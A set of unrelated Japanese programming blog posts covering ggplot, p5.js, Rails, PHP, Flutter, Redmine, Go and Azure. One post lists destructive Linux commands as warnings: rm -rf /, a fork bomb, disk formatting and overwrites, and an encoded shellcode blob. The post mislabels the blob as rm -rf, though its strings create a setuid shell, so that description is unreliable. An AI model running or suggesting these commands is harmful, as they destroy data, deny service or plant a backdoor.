# facetに指定した列(名前は一致必須)  グラフに描く値が格納された列 ...
# setosa                         0.278                   ...

```

これを次のようにgeom_textに渡す
geom_textのdataに先ほど作成したデータフレーム、labelにその列名が入っている。

```R
g1 = ggplot(iris, aes(x = Sepal.Length, y = Petal.Width)) + geom_point() + 
  geom_smooth(method = "lm",se=FALSE, na.rm = T) + facet_grid(~ Species) + 
  xlab("Sepal.Length") + ylab("Petal.Width") + 
  geom_text(data=cors, mapping = aes(x = -Inf, y = -Inf, label = paste("r =",cor)),hjust = -0.1,vjust = -55) + 
  geom_text(data=cors, mapping = aes(x = -Inf, y = -Inf, label = p), hjust = -0.1,vjust = -53)

ggsave("sample.png", g1, width=10, height=8)
```

問題なのが、テキストは図の大きさによって隠れてしまうということだ。
`print(g1)`として確認しようとした者はこの現象に合うことがある。
これを避けるため`ggsave()`で大きさを固定して保存しているので、`sample.png`を確認してみてください。
School of Rop - Computing Fundamentalsやってみる - 3

次のトピックはLinux Self Defense。Linuxの基本の「き」みたいなものだと理解。
その中で紹介されてるのが下のリンク。

https://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/

**rm -rf / – Deletes Everything!**
`
rm – Remove the following files.
-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all > files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted > media devices, including remote file shares and removable drives.
`
rmでファイル削除
-rfで下のディレクトリも含む削除するオプション
/ はルートディレクトリからスタートする

結果ホームディレクトリからスタートして全てのファイルを削除するやばいコマンド。

**Disguised rm –rf /**
`
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
`

ぱっと見わかりづらいけど、これもrm -rfと同じコマンドが16進数で書かれているもの。
適当にインターネットから知らずにコピペして実行するとやばいね。。

**:(){ :|: & };: – Fork Bomb**
`
    :(){ :|: & };:
`

これを実行すると自身を無限に複製し続けて、CPU、メモリが消費されマシンを使えなくなる、いわゆるDenial of Service Attackになる。

**mkfs.ext4 /dev/sda1 – Formats a Hard Drive**

`
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
`
HDをフォーマットするコマンド。
mkfs.ext4はext4ファイルシステムを作成する。
/dev/sda1は最初のHDの最初のパーティションを指定する。

**command > /dev/sda – Writes Directly to a Hard Drive**
`
command – Run a command (can be any command.)
">" – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
`

commadnでコマンド実行
">"でコマンドの結果をその後の場所に送る。
/dev/sdaでHDに書き込む。

/dev/sdaがコマンドにあったら注意する。

その他にもddコマンドを使ったり、~ /dev/nullでブラックホールに放り込んだり実行したらやばいコマンドが紹介されてます。
安易にコマンドコピペするのはやばいことを理解しました。
P5.js 日本語リファレンス(set)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の set関数を説明します。

## set() 

### 説明文

任意のピクセルの色を変更するか、画像をキャンバスに直接書き込みます。

xパラメータとyパラメータは変更するピクセル座標を指定し、cパラメータはカラー値を指定します。これは p5.Color オブジェクトまたは [R, G, B, A] 配列です。単一のグレースケール値にすることもできます。画像を設定するとき xおよびyパラメータは現在のimageMode() に関係なく, 画像の左上隅の座標を定義します。

set() を使用した後、変更を表示するには updatePixels() を呼び出す必要があります。これは、すべてのピクセルが設定された後に呼び出す必要があり .get() を呼び出す前、または画像を描画する前に呼び出す必要があります。

set(x, y) を使用して単一のピクセルの色を設定することは簡単ですが、データを直接pixels配列に入れるほど速くはありません。 Retinaディスプレイを使用する場合、pixels配列に値を直接設定することは複雑になる可能性がありますが、すべてのループで直接多くのピクセルを設定する必要がある場合はパフォーマンスが向上します。

詳細については, pixels配列のリファレンスをご覧ください。

### 構文

set(x, y, c)

### パラメタ

- x
Number：ピクセルのx座標

- y
Number：ピクセルのy座標

- c
Number|Number[]|Object：グレースケール値|ピクセル配列|p5.Colorオブジェクト|p5.Imageのコピー


### 例1

```javascript
function setup(){
  for(let i = 30; i <width-15; i ++){
    for(let j = 20; j <height-25; j ++){
      c = color(30 - j, 210 - i, 0);
      set(i, j, c);
    }
  }
  updatePixels() ;
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/nag-LL4j22



### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
連続した改行を画面に表示すると改行が１つにまとめられている。

###  <font color='lightblue'>１）背景</font>
以下の画像にある「コンテンツの登録」欄を見て下さい。全部で9行あります。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647299/a088b70a-10e2-3e3d-cb1d-06b607257079.png width="200">

これを登録して、別画面で<font color='red'>**simple_format**</font>メソッドで表示すると、以下のようになります。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647299/1f766804-cefb-41b0-8a3e-90909099f57c.png width="200">

登録した通りの行数にするにはどうすれば良いでしょうか。対策を考えました。


###  <font color='lightblue'>２）環境</font>

| 項目              |               内容 | 
|:-----------------|:------------------:|
| OS.Catalina      |           v10.15.4 |      
| Ruby             |            v2.5.1 |  
| Ruby On Rails    |           v5.2.4.3 |       


###  <font color='lightblue'>３）内容</font>
**対応１）ヘルパーメソッドを作成する。**
他の方の記事も見たのですが、以下のようにヘルパーを作りました。

```ruby:application_helper.rb
1 module ApplicationHelper
2   #連続した改行コードの場合、エスケープされるため明示的に改行タグを挿入する
3   def br(str)
4     str.gsub(/\r\n|\r|\n/, "<br />").html_safe
5   end
6 end
```

表示するときにこのヘルパーを以下の通りに呼び出して使用します。ヘルパー化すると、作るコストも低いので便利ですね。

```erb:test.html.erb
1   <div class="krown-value">
2     <%= br(@knowledge.content) %>
3   </div>
```

こんな感じで9行で表示されるようになりました。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647299/5800b5fc-46ab-07df-42df-63ff4d5a5b67.png width="200">

以上です。
P5.js 日本語リファレンス(loadPixels)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の loadPixels関数を説明します。

## loadPixels() 


### 説明文

表示ウィンドウのピクセルデータをpixels配列に読み込みます。この関数は pixels配列の読み取りまたは書き込みの前に必ず呼び出す必要があります。 pixels配列が操作されたとき、または set() が呼び出されたときは常に loadPixels() を呼び出す必要があります。

### 構文

loadPixels() 

### 例1

```javascript
let img;
function preload(){
  img = loadImage('assets/mountain.jpg');
}

function setup(){
  createCanvas(300, 200);
  
  image(img, 0, 0, width, height);

  let d = pixelDensity();

  // halfImageのサイズは dが1のとき 4 * (300*1) * (200*1/2) = 120000
  let halfImage = 4 * (width * d) * (height * d / 2);

  // pixels配列にキャンバス上の画像(サイズ:300x200x4)を読み込む
  loadPixels() ;
  
  // 画像の上半分(0～halfImage分)を画像の下半分に設定します
  for (let i = 0; i < halfImage; i++) {
    pixels[i + halfImage] = pixels[i];
  }
  
  // キャンバス上の画像を更新します
  updatePixels() ;
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/whXOQBijt


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
Windows環境でComposerインストール時にエラーが出た場合の対処法

#Windows環境でComposerインストール時にエラーが出た場合の対処法

##症状：
インストール後
composer -v　を実行するとエラーが発生する。

エラー文：
[Symfony\Component\Console\Exception\RuntimeException] The "-e" option does not exist.


##対処法
CompserのInstall時に注意されている通り
一度再起動して、なにもアプリが起動していない状態でインストーラーを起動する。

原因はPHPStormを起動したままインストールしていたためと思われる。
注意書き通りにやればよかった。
PHP拡張パッケージがWEBアクセスの時に利用できない

## 追加したPHPパッケージが何故か利用できない。。
AmazonLinux2のExtras Libraryを使ってApacheとPHPをパッケージインストール(yum install XXXX)した環境で何故か後から追加した拡張パッケージがWEB経由で利用できないという問題が起こりました。
CLIからPHPを実行したら普通に追加したモジュールは読み込まれているのに
WEB経由ではphpinfo()でも読み込まれていないそうな。。
Apacheの再起動してないんじゃないか。と思ったが再起動はしているとのこと

しばらく、/etc/httpd/conf.modules.dやらXXXX.soやらphp.confやらphp.ini
/usr/lib64/php/..やらなんやら確認してみるがどれもおかしいところはない。。

## php-fpm使ってた

nginxを触っている方であれば、直ぐに思いつくのではと思うのですが
普段から何も考えずパッケージインストールした環境に慣れてしまうと
気づかないもんです。。
AmazonLinux2のExtras Libraryを使って構築された環境ではphp-fpmを
起動する設定になっているようです。

```
# systemctl restart php-fpm
```

これでめでたく追加したモジュールが読み込まれるようになりました。

が、悲しいことにApacheを再起動すればPHPの追加パッケージは読み込まれるはずと
刷り込まれてしまっているので。。
恐らく同じことを繰り返す可能性が高いです。

Apache再起動時に連動してphp-fpmも再起動する設定を行いました。

## Apache再起動時にphp-fpmも再起動する設定

systemdの設定ファイルを書きます。
/usr/lib/systemd/system/php-ftp.service.dディレクトリを作成し

```
#cd /usr/lib/systemd/system
#mkdir php-fpm.service.d
#cd php-fpm.service.d
#vi httpd.conf
```
php-fpmとApacheを紐づける設定ファイルを作ります。

```:httpd.conf
[Unit]
Requires=httpd.service
```

設定ファイルを読み込ませて、動作確認を行います。

```
#systemctl daemon-reload
#systemctl restart httpd

/var/log/messages

Jun  4 12:23:27 ip-xxx-xxx-xxx-xxx systemd: Stopping The PHP FastCGI Process Manager...
Jun  4 12:23:27 ip-xxx-xxx-xxx-xxx systemd: Stopping The Apache HTTP Server...
Jun  4 12:23:27 ip-xxx-xxx-xxx-xxx systemd: Starting The PHP FastCGI Process Manager...
Jun  4 12:23:27 ip-xxx-xxx-xxx-xxx systemd: Started The PHP FastCGI Process Manager.
Jun  4 12:23:28 ip-xxx-xxx-xxx-xxx systemd: Starting The Apache HTTP Server...
Jun  4 12:23:28 ip-xxx-xxx-xxx-xxx systemd: Started The Apache HTTP Server.

```
無事、連動して再起動できているようです。

以上です。

---
参考サイト
Apacheとphp-fpmについての情報
https://ikatakos.com/pot/programming/web_development/server/aws/php_fpm
https://www.suzu6.net/posts/202-apache-php-fpm/

systemd　サービスユニット覚書
https://qiita.com/ch7821/items/369090459769c603bb6b
P5.js 日本語リファレンス(get)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の get関数を説明します。

## get() 

### 説明文

キャンバスからピクセルの領域または単一のピクセルを取得します。

任意のピクセルの [R, G, B, A] 値の配列を返すか、画像の領域を取得します。パラメータが指定されていない場合は画像全体が返されます。 1つのピクセルの値を取得するには、xパラメータとyパラメータを使用します。追加のwおよびhパラメータを指定して画像の領域を取得します。画像を取得するとき、xおよびyパラメータは現在の imageMode() に関係なく、画像の左上隅の座標を定義します。

get(x, y)を使用して単一のピクセルの色を取得することは簡単ですが、pixels配列から直接データを取得するほど高速ではありません。画素密度dのpixels配列を使用する get(x, y) と同等のステートメントは次のとおりです。

```javascript
let x, y, d; // これらを座標に設定します
let off = (y * width + x) * d * 4;
let components = [
  pixels[off],
  pixels[off + 1],
  pixels[off + 2],
  pixels[off + 3]
];
print(components);
```

詳細については, pixels のリファレンスをご覧ください。

色の配列またはサブイメージを p5.Image オブジェクトから抽出する場合は p5.Image.get() をご覧ください。

### 構文

get(x, y, w, h)

get() 

get(x, y)

### パラメタ

- x
Number：ピクセルのx座標

- y
Number：ピクセルのy座標

- w
Number：幅

- h
Number：高さ

### 戻り値

p5.Image：矩形領域のp5.Image


### 例1

```javascript
let img;
function preload() {
  img = loadImage('assets/mountain.jpg');
}

function setup() {
  createCanvas(500, 500);
  image(img, 0, 0);
  
  // ロードした画像を取得する
  let c = get() ;
  
  image(c, 0, 200);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/7IizM4UMO


### 例2

```javascript
let img;
function preload() {
  img = loadImage('assets/mountain.jpg');
}
function setup() {

}

function draw() {
  createCanvas(300, 200);
  image(img, 0, 0);
  
  // マウス位置の画素値を取得する
  let c = get(mouseX, mouseY);
  fill(c);
  noStroke() ;
  rect(250, 10, 40, 40);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/9UYMllAX1


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
P5.js 日本語リファレンス(filter)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の filter関数を説明します。

## filter() 

### 説明文

フィルターをキャンバスに適用します。

プリセットオプションは次のとおりです。

- THRESHOLD
 levelパラメータで定義されたしきい値を超えるか下回るかに応じて、画像を白黒ピクセルに変換します。パラメータは0.0(黒)から1.0(白)の間でなければなりません。レベルを指定しない場合0.5が使用されます。

- GRAY
画像内の色を同等のグレースケールに変換します。パラメータは使用されません。

- OPAQUE
アルファチャネルを完全に不透明に設定します。パラメータは使用されません。

- INVERT
各ピクセルをその逆の値に設定します。パラメータは使用されません。

- POSTERIZE
画像の各チャネルをパラメータとして指定された色の数に制限します。パラメータは2〜255の値に設定できますが, 結果は低い範囲で最も顕著になります。

- BLUR
ぼかしの範囲を指定するlevelパラメータでガウスぼかしを実行します。パラメータを使用しない場合、ぼかしは半径1のガウスぼかしに相当します。値が大きいほどぼかしが大きくなります。

- ERODE
明るい領域を減らします。パラメータは使用されません。

- DILATE
明るい領域を増やします。パラメータは使用されません。


filter() はWEBGLモードでは機能しません。カスタムシェーダーを使用してWEBGLモードで同様の効果を達成できます。 Adam Ferriss は, [フィルターの例にある多くの効果を含むシェーダーサンプル](https://github.com/aferriss/p5jsShaderExamples)を作成しました。

### 構文

filter(filterType, [filterParam])

### パラメタ

- filterType
定数：THRESHOLD, GRAY, OPAQUE, INVERT, POSTERIZE, BLUR, ERODE, DILATE, またはBLURのいずれか。
利用可能な各フィルターの詳細については Filters.js (p5.js-1.0.0\src\image\filters.js)を参照してください

- filterParam
Number：各フィルターに固有のオプションのパラメータ。(オプション)


### 例1

```javascript
let img;
function preload() {
  img = loadImage('assets/mountain.jpg');
}

function setup() {
  createCanvas(150, 800);

  // 上から1番目の画像: GRAY + BLUR + DILATE
  image(img, 0, 0, 150, 100);
  filter(GRAY);

  // 上から2番目の画像: BLUR + DILATE
  image(img, 0, 100, 150, 100);
  filter(BLUR, 4);

  // 上から3番目の画像: DILATE
  image(img, 0, 200, 150, 100);
  filter(DILATE);
  
  // 上から4番目の画像: フィルターなし
  image(img, 0, 300, 150, 100);

}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/b6Ckb3SPL



### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
P5.js 日本語リファレンス(copy)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の copy関数を説明します。

## copy() 

### 説明文

キャンバスの領域の一部をキャンバスの別の領域にコピーします。または、srcImage パラメータで指定したコピー元画像からキャンバスにコピーします。コピー元領域とコピー先領域が同じサイズでない場合、指定されたコピー先領域に合わせてコピー元ピクセルのサイズが自動的に変更されます。

### 構文

copy(srcImage, sx, sy, sw, sh, dx, dy, dw, dh)

copy(sx, sy, sw, sh, dx, dy, dw, dh)

### パラメタ

- srcImage
p5.Image|p5.Element：コピー元画像

- sx
Number：コピー元画像の左上隅のX座標

- sy
Number：コピー元画像の左上隅のY座標

- sw
Number：コピー元画像の幅

- sh
Number：コピー元画像の高さ

- dx
Number：コピー先画像の左上隅のX座標

- dy
Number：コピー先画像の左上隅のY座標

- dw
Number：コピー先画像の幅

- dh
Number：コピー先画像の高さ



### 例1

```javascript
let img;

function preload() {
  img = loadImage('assets/mountain.jpg');
}

function setup() {
  createCanvas(300, 200);
  background(img);
  
  // Imgパラメータで指定したコピー元画像からキャンバスにコピーします。
  copy(img, 10, 30, 60, 40, 40, 100, 120, 80);
  stroke(255);
  noFill() ;
  //長方形はコピーされる領域を示します
  rect(10, 30, 60, 40);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/K1pCB7JO4


### 例2

```javascript
let img;

function preload() {
  img = loadImage('assets/mountain.jpg');
}

function setup() {
  createCanvas(300, 200);
  background(img);

  // キャンバスの領域の一部をキャンバスの別の領域にコピーします。
  copy(10, 30, 60, 40, 40, 100, 120, 80);
  stroke(255);
  noFill() ;
  //長方形はコピーされる領域を示します
  rect(10, 30, 60, 40);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/Fxsiho_Fa


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
P5.js 日本語リファレンス(blend)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の blend関数を説明します。

## blend() 

### 説明文

指定されたブレンドモードを使用して、ある画像から別の画像にピクセルの領域をコピーして操作を実行します。

### 構文

blend(srcImage, sx, sy, sw, sh, dx, dy, dw, dh, blendMode)

blend(sx, sy, sw, sh, dx, dy, dw, dh, blendMode)

### パラメタ

- srcImage
p5.Image：コピー元画像

- sx
Number：コピー元画像の左上隅のX座標

- sy
Number：コピー元画像の左上隅のY座標

- sw
Number：コピー元画像の幅

- sh
Number：コピー元画像の高さ

- dx
Number：コピー先画像の左上隅のX座標

- dy
Number：コピー先画像の左上隅のY座標

- dw
Number：コピー先画像の幅

- dh
Number：コピー先画像の高さ

- blendMode
定数：ブレンドモード。 BLEND, DARKEST, LIGHTEST, DIFFERENCE, MULTIPLY, EXCLUSION, SCREEN, REPLACE, OVERLAY, HARD_LIGHT, SOFT_LIGHT, DODGE, BURN, ADD, NORMALのいずれか。


### 例1

```javascript
let img0;
let img1;

function preload() {
  img0 = loadImage('assets/mountain.jpg');
  img1 = loadImage('assets/heart-tree.jpg');
}

function setup() {
  createCanvas(300, 600);
  
  // 上に山の画像、中央に木の画像を表示する
  image(img0, 0, 0);
  image(img1, 0, 200);

  // 下に山の画像を表示して、右半分に木の画像をブレンドする
  image(img0, 0, 400);
  blend(img1, 150, 0, 150, 200, 150, 400, 150, 200, OVERLAY);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/rJiNBGJMn



### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
P5.js 日本語リファレンス(pixels)

このページでは[「P5.js 日本語リファレンス」] (https://qiita.com/bit0101/items/91818244dc26c767a0fe) の pixelsを説明します。

## pixels

### 説明文

[Uint8ClampedArray](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray)は表示ウィンドウのすべてのピクセルの値を含む配列でこの配列の値は8ビット符号なし整数です。この配列は、表示ウィンドウx4 のサイズ(pixelDensityの適切な係数を含む)であり、各ピクセルのR、G、B、Aの値を順番に表し各行を左から右に移動してから各列を下に移動します。 Retinaおよびその他の高密度ディスプレイは、より多くのピクセルを備えている場合があります。(pixelDensity ^ 2 の係数による) たとえば、画像が 100 x 100 ピクセルの場合 40,000 になります。 pixelDensity = 2 の場合、160,000 になります。配列の最初の4つの値(インデックス0〜3)は (0, 0) にあるピクセルのR, G, B, Aの値になります。 2番目の4つの値(インデックス4〜7)には, (1, 0) にあるピクセルのR, G, B, Aの値になります。  
一般的にピクセルの値を(x, y)に設定する例：

```javascript
let d = pixelDensity() ;
for(let i = 0; i < d; i ++){
  for(let j = 0; j < d; j ++){
    index = 4 * (( y * d + j) * width * d +(x * d + i));
    pixels[index] = r;
    pixels[index + 1] = g;
    pixels[index + 2] = b;
    pixels[index + 3] = a;
  }
}
```

上記の方法は複雑ですが、どんな画素密度でも機能するのに十分な柔軟性があります。 set() は、任意の画素密度で指定された(x, y)のすべての適切な値をpixel配列に自動的に設定することに注意してください。ただし、ピクセル配列に多くの変更が加えられるとパフォーマンスが低下する場合があります。

この配列にアクセスする前に、データを loadPixels() でロードする必要があります。配列データを変更した後 updatePixels() を実行して変更を更新する必要があります。

これは標準のJavaScript配列ではないことに注意してください。つまり, slice() やarrayCopy() などの標準のJavaScript関数は機能しません。

### 構文

pixels


### 例1

```javascript
function setup(){
  let pink = color(255, 102, 204, 100);

  // 66 x 66 サイズの p5.image を用意します
  let img = createImage(66, 66);
  img.loadPixels() ;
  
  // 画像のピクセルにアクセスするためのサイズを求めます
  // (1画素 R、G、B、Aの4バイトあるため4倍します) 
  let fullImage = img.width * img.height * 4;

  for(let i = 0; i < fullImage; i += 4){
    img.pixels [i] = red(pink);        // 255
    img.pixels [i + 1] = green(pink);  // 102
    img.pixels [i + 2] = blue(pink);   // 204
    img.pixels [i + 3] = alpha(pink);  // 100
  }
  
  // p5.image の更新
  img.updatePixels() ;

  // p5.image の表示
  image(img, 0, 0);
}
```

### 実行結果
https://editor.p5js.org/bit0101/sketches/CNYRf4AZt


### 著作権

p5.js was created by Lauren McCarthy and is developed by a community of collaborators, with support from the Processing Foundation and NYU ITP. Identity and graphic design by Jerel Johnson.

### ライセンス

Creative Commons(CC BY-NC-SA 4.0) に従います。
Flutterのfirebase_messaging（FCM）がiOS13で動作しない不具合への対処

現時点では解決してない & 解決策が不明瞭だったので、忘備録も踏まえて投稿します。

## 起きたバグ
Flutterで[firebase_message](https://pub.dev/packages/firebase_messaging)を利用した際に、iOSでPush通知が一切受け取れない事象が発生しました。（foreground / background ともに）Notification Trayにも表示されず、Callbackも呼ばれませんでした。
Androidでは問題なく動いています。

### 環境
- firebase_messaging 6.0.16
- Flutter(stable, v1.17.1)
- iOS 13.5 iPhoneXR / iOS 13.4 iPhoneX / iOS 13.3 iPhone7

```
$ flutter doctor
[✓] Flutter (Channel stable, v1.17.1, on Mac OS X 10.15.5 19F101, locale ja-JP)
[✓] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[✓] Xcode - develop for iOS and macOS (Xcode 11.4)
[✓] Android Studio (version 3.6)
```

## 解決方法
### 1. Firebaseでの認証方法をAuthKeyからCertificatesに変更する
現在は、AuthKey（.p8）での認証が推奨されていますが、従来のCertificates(.p12）を利用します。Firebase内の `Setting > Cloud Messaging > iOSアプリの設定` で設定できます。

これで、background時のPush通知が来るようになります。ただCallbackは一切呼ばれませんでした。
なぜ動くのかはわかりません。

### 2. AppDelegate内のUNUserNotificationCenterのdelegateを削除する
Firebaseのドキュメントでは、`UNUserNotificationCenter.current().delegate = self`をAppDelegateに追記することが推奨されていますが、こちらを削除します。

これでCallbackが呼ばれるようになります。


## その他メモ
- Firebase Consoleで動作確認が可能です
- TestFlightでインストールしたらいけた、というコメントもありますが、自分の場合はワークしませんでした。

## 参考
#### チェックリストとして参考になったGitHubのコメント
[[firebase_messaging] Dart side callbacks for FCM are not called on iOS if a message has a notification field](https://github.com/FirebaseExtended/flutterfire/issues/1644#issuecomment-575594219)

#### 関連イシュー（めっちゃ読み込んだ）
[[firebase_messaging] iOS 13 push notification NOT working](https://github.com/FirebaseExtended/flutterfire/issues/1041)
Redmine 4.1をUbuntu 20.04 LTS  にインストール

#背景
社内システムのプロジェクト管理のためにオープンソースのプロジェクト管理ツール redmineをインストールしようと思い立った。

#動作環境
Redmine 4.1
Ubuntu 20.04 LTS 
psql (PostgreSQL) 12.2 

#最初は、Centosにインストールしようと思って挫折

[Redmine 3.4をCentOS 7.3にインストールする手順](http://blog.redmine.jp/articles/3_4/install/centos/)
を見ながらやっていたのですが、以下のところでエラーがでました。

~~~
bundle install --without development test --path vendor/bundle

An error occurred while installing rmagick (2.16.0), and Bundler cannot continue.
Make sure that `gem install rmagick -v '2.16.0'` succeeds before bundling.
~~~

このエラーを回避すべく、ネットの記事をいろいろ検索しましたが、解決できず、あきらめました。

#Ubuntu にredmineをインストールできた！

気を取り直して、
[Redmine 4.1をUbuntu Server 18.04.3 LTSにインストールする手順](http://blog.redmine.jp/articles/4_1/install/ubuntu/)
を見て、その通りにやったら成功しました。やっぱり、最新の記事だけにうまく行きました。
この記事になかったのですが、/etc/apache2/conf-available/redmine.conf　の最後にServerName の定義を入れました。

~~~
# Redmineの画像ファイル・CSSファイル等へのアクセスを許可する設定。
# Apache 2.4のデフォルトではサーバ上の全ファイルへのアクセスが禁止されている。
<Directory "/var/lib/redmine/public">
  Require all granted
</Directory>

# Passengerの基本設定。
# passenger-install-apache2-module --snippet で表示された設定を記述。
# 環境によって設定値が異なるため以下の5行はそのまま転記せず、必ず
# passenger-install-apache2-module --snippet で表示されたものを使用すること。
#
LoadModule passenger_module /usr/local/lib/ruby/gems/2.6.0/gems/passenger-6.0.4/buildout/apache2/mod_passenger.so
<IfModule mod_passenger.c>
  PassengerRoot /usr/local/lib/ruby/gems/2.6.0/gems/passenger-6.0.4
  PassengerDefaultRuby /usr/local/bin/ruby
</IfModule>

# 必要に応じてPassengerのチューニングのための設定を追加（任意）。
# 詳しくはPhusion Passenger users guide(https://www.phusionpassenger.com/library/config/apache/reference/)参照。
PassengerMaxPoolSize 20
PassengerMaxInstancesPerApp 4
PassengerPoolIdleTime 864000
PassengerStatThrottleRate 10

# Redmineのインストールディレクトリへのアクセスを許可
<Directory /var/lib/redmine/public>
    Allow from all
    Options -MultiViews
    Require all granted
</Directory>
ServerName <192.168.11.xx>　　　<---ここです。
~~~

#redmineを使った感想
過去、マイクロソフトプロジェクトを始めとして、いろんなプロジェクト管理ツールを使って来ました。
最近は、[MindManager](https://visualmapping.info/communication-tool/mindmanager2020%E3%83%AA%E3%83%AA%E3%83%BC%E3%82%B9)でガントチャートを出す機能を使っていましたが、もっと高機能なガントチャート機能がほしくて、redmineをインストールしてみました。redemineは軽くて使いやすいです。
チケットと言う言葉がピンと来ませんが、タスクと思ってもいいでしょう。課題管理もできるところが素晴らしい。
Ubuntu12.04 用の go build を行う

やむを得ない事情で古代の Ubuntu で使用するための Go 製アプリのビルドを行う方法。

1． `Ubuntu12.04` の Docker イメージを用意する

```sh
$ docker run --rm  -it -v $(pwd):/home/ubuntu ubuntu:12.04 bash
```

**以降は Docker 内での操作**

2． 必要なツールのインストール

```
# apt-get update
# apt-get install wget git
```

3． Go のインストール

インストールするバージョン（今回は1.10）は状況に合わせて変更。

```
# wget http://golang.org/dl/go1.10.linux-amd64.tar.gz
# tar -C /usr/local -xzf go1.10.linux-amd64.tar.gz
# export PATH=/usr/local/go/bin:$PATH
# go version
```

4． 必要なツールのインストールとビルド

```
# cd /home/ubuntu
# go get github.com/hoge/fuga
# git clone github.com/foo/foo
# cd foo
# go build
```

あとはマウントしたホスト側フォルダからビルドしたバイナリを取得して `scp` なり `rsync` で目的のサーバーにコピーして起動する。

### 参考

https://gist.github.com/jmervine/8321074
[Ruby] クラス、インスタンス変数、インスタンス、とか・・・

Progate学習メモ
何がクラスでインスタンス変数でインスタンスか

# クラス

```.rb
class Menu
end
```

# インスタンス変数

```.rb
class Menu
  attr_accessor :name
  attr_accessor :price
end
```
これでMenuクラスのインスタンスにnameとpriceという情報を持たせることができる
`attr_accessor`について、いただいたコメントがわかりやすいのでページ下部ご参照ください

# インスタンス
クラスから生まれるもの

```.rb
class Menu
  attr_accessor :name
  attr_accessor :price
end

# Menuクラスから生まれたmenu1というインスタンス
menu1 = Menu.new

# menu1というインスタンスに情報を持たせる
menu1.name = "パン"
menu1.price = "２００"
```

---
参考：[Progate](https://prog-8.com)
Azure App ServiceにcURLコマンドでwarファイルをデプロイする方法

Azure App ServiceにcURLコマンドでwarファイルをデプロイする方法をご紹介します。

# 参考にしたサイト
https://github.com/MicrosoftDocs/azure-docs.ja-jp/blob/master/articles/app-service/deploy-zip.md

# 内容
- App Serviceの作成
- ユーザの資格情報の設定
- cURLコマンド実行
- 動作確認

※こちらではwarファイルの作成方法は記載しておりません。

# App Serviceの作成
- Azureポータルにアクセス
- App Serviceを選択選択
![ホーム_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/6ea7bc18-2465-410e-a2ec-db54ef697979.png)

- 追加を選択
![App_Service_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/6bbe7743-214e-6f23-64c7-a23e862705ec.png)

- 「ランタイムスタック」でTomcatを選択する
- その他の項目を設定して、「確認および作成」をクリック。確認ページが表示されるので「作成」をクリックする。
![Web_アプリ_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/e5bdbc03-5a88-98fb-483a-431206da7917.png)

# ユーザの資格情報の設定
- 一度ホームに戻って「App Service」 - 「デプロイセンター」にアクセスする
![war-deploy-test_-_Microsoft_Azure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/149245/67c0ae9f-5c43-d59b-3a1c-ff295c1029d0.png)
